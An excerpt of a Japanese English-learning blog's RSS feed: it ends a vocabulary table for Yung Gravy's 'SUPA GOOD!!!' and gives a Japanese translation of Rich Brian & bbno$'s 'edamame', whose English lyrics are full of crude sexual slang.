<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">I got you!</h4>



<p class="wp-block-paragraph"><strong>任せとけ！</strong><br>任せろ、の他に、ノリ・グルーヴを掴んだ、ジェームス・ブラウンの原曲に呼応する締めのパンチラインを含む多義的な決め台詞。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>


<table style="height: 260px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>SUPA</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">super、すごい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>yo&#8217;</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">yourの略</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be impressed</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に関心する、〜を印象付ける</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>FritoLay</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ポテトチップスの銘柄</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>rare</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">レアな、珍しい、生焼けの</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>t-bone steak</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ステーキの部位</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>lack</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜が不足する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>rake up</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜をかき集める</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>ain&#8217;t </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【スラング】～でないという。am not, is not, are not, have not, has not の短縮形</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>crew</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">仲間、乗組員、メンバー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>freestyle</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">フリースタイル、即興</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>y’all </strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">you allの略</td>
</tr>
</tbody>
</table>


<p class="wp-block-paragraph"></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:310px;height:auto"/></figure>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&#038;title=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" data-a2a-url="https://ffeng.jp/2025/08/24/yunggravy_supagood/" data-a2a-title="ヤング・グレイヴィー『SUPA GOOD!!!』　和訳"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2025/08/24/yunggravy_supagood/">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/11/content-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/11/content-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-150x150.jpg 150w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-65x65.jpg 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/08/ren-150x150.png 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4784</post-id>	</item>
		<item>
		<title>ラップと枝豆の融合？Rich Brian&#038;bbno$『edamame』和訳</title>
		<link>https://ffeng.jp/2021/10/23/edamame/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sat, 23 Oct 2021 11:38:14 +0000</pubDate>
				<category><![CDATA[Buzzwords]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[カルチャー]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[日本文化を英語で伝えよう]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[2Pac]]></category>
		<category><![CDATA[All Eyez on Me]]></category>
		<category><![CDATA[anti-vaxxer]]></category>
		<category><![CDATA[bbno$]]></category>
		<category><![CDATA[edamame]]></category>
		<category><![CDATA[Lalala]]></category>
		<category><![CDATA[My Strangest Addiction]]></category>
		<category><![CDATA[Pac]]></category>
		<category><![CDATA[Rich Brian]]></category>
		<category><![CDATA[Rich Brian&bbno$]]></category>
		<category><![CDATA[Teletubbies]]></category>
		<category><![CDATA[おかしな中毒症状]]></category>
		<category><![CDATA[しゃぶしゃぶ]]></category>
		<category><![CDATA[アンチ・ワクチン]]></category>
		<category><![CDATA[インドネシア]]></category>
		<category><![CDATA[カナダ]]></category>
		<category><![CDATA[ジャカルタ]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[テレタビーズ]]></category>
		<category><![CDATA[バンクーバー]]></category>
		<category><![CDATA[ヒップホップ史]]></category>
		<category><![CDATA[ベイビー・ノーマネー]]></category>
		<category><![CDATA[マリファナ中毒]]></category>
		<category><![CDATA[ラッパー]]></category>
		<category><![CDATA[ラップ]]></category>
		<category><![CDATA[ラテン]]></category>
		<category><![CDATA[ラーメン]]></category>
		<category><![CDATA[リッチ・ブライアン]]></category>
		<category><![CDATA[レジェンド]]></category>
		<category><![CDATA[人気メニュー]]></category>
		<category><![CDATA[刺身]]></category>
		<category><![CDATA[和訳]]></category>
		<category><![CDATA[天ぷら]]></category>
		<category><![CDATA[対訳]]></category>
		<category><![CDATA[日本食材]]></category>
		<category><![CDATA[枝豆]]></category>
		<category><![CDATA[歌詞]]></category>
		<category><![CDATA[訳]]></category>
		<category><![CDATA[韻]]></category>
		<guid isPermaLink="false">http://ffeng.jp/?p=1617</guid>

					<description><![CDATA[<p>今回はちょっと季節外れになってしまいましたが、Ri <a class="mh-excerpt-more" href="https://ffeng.jp/2021/10/23/edamame/" title="ラップと枝豆の融合？Rich Brian&#38;bbno$『edamame』和訳">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2021/10/23/edamame/">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/24/yunggravy_supagood/' title='ヤング・グレイヴィー『SUPA GOOD!!!』　和訳'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.livenation.co.jp/yung-gravy-tickets-adp1115822" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/07/26/maninfinance/' title='今、TikTokでバズってるメーガン・ボニの&#8221;Looking for a Man in Finance&#8221;を和訳してみた'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.scmp.com/magazines/style/entertainment/article/3264564/who-megan-boni-tiktokker-behind-man-finance-26-year-old-was-working-day-job-sales-when-her-clip-went" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">今、TikTokでバズってるメーガン・ボニの&#8221;Looking for a Man in Finance&#8221;を和訳してみた</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/15/talktalk/' title='チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp 120w, https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-150x150.webp 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">今回はちょっと季節外れになってしまいましたが、<strong>Rich Brian&amp;bbno$</strong>の『<strong>edamame</strong>』を紹介します。</p>



<p class="wp-block-paragraph">気だるい口調のラテン調のラップに、最近海外で人気の日本食材<strong>枝豆</strong>がタイトルになった不思議な『<strong>edamame</strong>』ソング。夏前から気になっていたのですが、あまりにも下品なスラングが多数登場するので紹介するのをためらっていたのですが、思い切って棚卸します。</p>



<p class="wp-block-paragraph">&nbsp;</p>



<h2 class="wp-block-heading">『edamame』ってどんな曲？</h2>



<p class="wp-block-paragraph">カナダ、バンクーバー出身の<strong>bbno$</strong>（<strong>ベイビー・ノーマネー</strong>）と、インドネシアのジャカルタ出身の<strong>Rich Brian</strong>（<strong>リッチ・ブライアン</strong>）が7月にリリースしたヒットソング『<strong>edamame</strong>』。</p>



<p class="wp-block-paragraph">「日本でおなじみの枝豆がタイトルって面白いなー」と思って聞いたら、卑猥なスラングが多発。今回は卑猥になりすぎない程度に訳してみました。よく聞いていると、<strong>edamame</strong>で韻を踏んでいたり、内容も世の中の流れや自身の体験を反映したりリリースから３ヶ月間、米国ヒットチャートの100位辺りを長く賑わせている結構興味深い歌なのです。</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<h2 class="wp-block-heading">Edamame &#8211; Rich Brian &amp; bbno$</h2>


<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-k6brna4_bmg" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.194690%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-k6brna4_bmg" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/K6BRna4_bmg?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/K6BRna4_bmg?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe></p></div>
</p></div>
<p>	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2021\/10\/23\/edamame\/#arve-youtube-k6brna4_bmg","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/K6BRna4_bmg?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script></p>
</div>



<p class="wp-block-paragraph"><strong>Balls Hanging Low While I Pop A Bottle Off A Yacht</strong><br><strong>Chain Swanging, Cling-Clang And It Cost A Lot</strong><br><strong>B*tch, I&#8217;m Always After Guala, Yeah! And You Are Not</strong><br><strong>Bad-ass B, Keep On Going Stil You Hit The Spot</strong></p>



<p class="wp-block-paragraph">タマが垂れ下がるくらい<strong>ヨット</strong>で酒飲み大フィーバー<br>首元で<strong>チャラチャラ</strong>うるさいチェーン　高かったんだぜ<br>お前とは違って俺は金持ちなんだ<br>ブライアン、お前はずっとあがいてろ</p>



<p class="wp-block-paragraph"><strong>Woah! I&#8217;m A Big Bag Hunter With The Bow</strong><br><strong>She Got A Big Bad Dumper, Drop It Low</strong><br><strong>Mama Called Me And She Happy With The Growth</strong><br><strong>Never Ever Fold For A Thottie, That&#8217;s An Oath</strong></p>



<p class="wp-block-paragraph">俺は大物狙いのハンターだ<br>彼女は上物だけどただの遊びさ<br>ママはビッグになった俺に大満足してるのさ<br>そんな安い女に俺が落ちるわけがない<strong>誓って</strong>もいいぜ</p>



<p class="wp-block-paragraph"><strong>Just Popped Her Kidney, I Bought A Million</strong><br><strong>Options Of The Stock And I Stopped Doing The Green</strong><br><strong>Man, I Rock Arenas, Bringing The Peace, I&#8217;m Bumping That Pac</strong><br><strong>In The Car, Pretending I Got All The Eyes On Me</strong><br><strong>Got A Bad Baby And She&#8217;s Independent</strong><br><strong>So Many People Older Than Me That&#8217;s Seeking Attention</strong><br><strong>When They Warned Me About The Goofies, Man, I Shoulda Listened</strong><br><strong>And The Smell Of The Money My Strangest Addiction</strong></p>



<p class="wp-block-paragraph">臓器売買で入った金で大口の株を買い占めてやった<br>環境保護？なんだそれ<br>アリーナを揺らすんだ　その方が平和だろ<br>大音量で<strong>Pac</strong>をかけたら注目の的さ、人気者になったみたいにさ<br>クールな女もゲットした<br>注目されたい老いぼればかりだけど<br>そいつらの忠告は聞いておけ<br>金の臭いしか興味ねえんだ、<strong>おかしな中毒症状</strong>だぜ</p>



<p class="wp-block-paragraph"><strong>She Tip For D**k, I Let Her Lick</strong><br><strong>I Had To Dip, I&#8217;m Off A Fifth, Am I Rich Now?</strong><br><strong>I Bought A Whip, I Paint It Pink</strong><br><strong>It Drive Itself, The F**k You Think?</strong><br><strong>Yeah! I&#8217;m Rich Now</strong></p>



<p class="wp-block-paragraph">追加料金払えば舐めさせてやる<br>5回でイってやる　俺ってリッチなのか？<br>ピンクの車でドライブさ　つべこべ言うなよ<br>俺ってリッチだろ？</p>



<p class="wp-block-paragraph"><strong>Aye Little Mama, Yeah! You Heard About Me</strong><br><strong>I&#8217;ma Pop You Like A Pea, Yeah! Edamame</strong><br><strong>Yeah! Feel So Hot Like I&#8217;m Chilling On The Beach</strong><br><strong>Yeah! Baby In The Sun Like The Teletubbies</strong></p>



<p class="wp-block-paragraph">ねえ、そこの君　俺のこと知ってるんだろ<br><strong>枝豆</strong>みたいに弾けさせてやろうか<br>ホットなビーチみたいにさ<br><strong>テレタビーズの太陽</strong>みたいにさ</p>



<p class="wp-block-paragraph"><strong>Balls Hanging Low While I Pop A Bottle Off A Yacht</strong><br><strong>Chain Swanging, Cling-Clang And It Cost A Lot</strong><br><strong>B*tch, I&#8217;m Always After Guala, Yeah! And You Are Not</strong><br><strong>Bad-*ss B, Keep On Going Stil You Hit The Spot</strong></p>



<p class="wp-block-paragraph">ヨットで酒飲み大はしゃぎ<br>首元でチャラチャラうるさいチェーン　いくら払ったったと思ってんだ<br>お前とは違って俺は金持ちなんだ<br>お前はずっとあがいてろ</p>



<p class="wp-block-paragraph"><strong>Woah! I&#8217;m A Big Bag Hunter With The Bow</strong><br><strong>She Got A Big Bad Dumper, Drop It Low</strong><br><strong>Mama Called Me And She Happy With The Growth</strong><br><strong>Never Ever Fold For A Thottie, That&#8217;s An Oath</strong></p>



<p class="wp-block-paragraph">俺は大物狙いのハンターだ<br>彼女は上物だけどただの遊びさ<br>ママはビッグになった俺に大満足してるのさ<br>そんな安い女に俺が落ちるわけがない　誓ってもいいぜ</p>



<p class="wp-block-paragraph"><strong>I&#8217;ve Been In The Club And Taking Shots</strong><br><strong>If You Got Your Mask Off In The Photo You Getting Cropped</strong><br><strong>Hopping Out The Function, The CVS Is Like A Block Away</strong></p>



<p class="wp-block-paragraph">クラブではショットを飲みまくり<br>マスクなしだとお前は不細工だな　切り取ってやる<br>パーティから抜け出して近所のドラッグストアにでも行ってろよ</p>



<p class="wp-block-paragraph"><strong>Bought A Moisturizer, My Ice Cold, It&#8217;s Drying My Face</strong><br><strong>Don&#8217;t Need That VVS, My Ice Is Fake, Your Life Is Fake</strong><br><strong>I Choose To Do It For My Pocket&#8217;s Sake</strong><br><strong>You Basing Your Opinions On What The Major Says</strong><br><strong>I Renovate, The Bad Energy I Erase</strong></p>



<p class="wp-block-paragraph">冷徹な俺を潤す加湿器が必要なのさ<br><strong>ダイヤ</strong>はいらねえ　お前の人生って嘘くさいよな<br>俺も無駄金払わなくて済むしな<br>お前らは<strong>世論</strong>に流されてろ<br>そんな世の中俺がおれがぶっ壊してやる</p>



<p class="wp-block-paragraph"><strong>Yeah! I Don&#8217;t Ever Really Wanna Talk, Talk, Talk, Talk</strong><br><strong>Only Really Ever Want The Top, Top, Top, Top</strong><br><strong>Guess I&#8217;m Going Back To The Sock, Sock, Sock, Sock</strong><br><strong>Least This Money Never Really Stop, Stop, Stop, Stop</strong></p>



<p class="wp-block-paragraph">俺は寡黙にいきたいんだ<br>てっぺん目指してんだ<br>ソックスでマス掻くんだ<br>金ならネバーストップで入ってくるからな</p>



<p class="wp-block-paragraph"><strong>Aye! Little Mama, Yeah! You Heard About Me</strong><br><strong>I&#8217;ma Pop You Like A Pea, Yeah! Edamame</strong><br><strong>Yeah! Feel So Hot Like I&#8217;m Chilling On The Beach</strong><br><strong>Yeah! Baby In The Sun Like The Teletubbies</strong></p>



<p class="wp-block-paragraph">ねえ、そこの君　俺のこと知ってるんだろ<br>枝豆みたいに弾けさせてやろうか<br>ホットなビーチみたいにさ<br>テレタビーズの太陽みたいにさ</p>



<p class="wp-block-paragraph"><strong>Balls Hanging Low While I Pop A Bottle Off A Yacht</strong><br><strong>Chain Swanging, Cling-Clang And It Cost A Lot</strong><br><strong>B*tch, I&#8217;m Always After Guala, Yeah! And You Are Not</strong><br><strong>Bad-*ss B, Keep On Going Stil You Hit The Spot</strong></p>



<p class="wp-block-paragraph">ヨットで酒飲み大はしゃぎ<br>首元で光るチェーン　いくら払ったったと思ってんだ<br>お前とは違って俺は金持ちなんだ<br>お前はずっとあがいてろ</p>



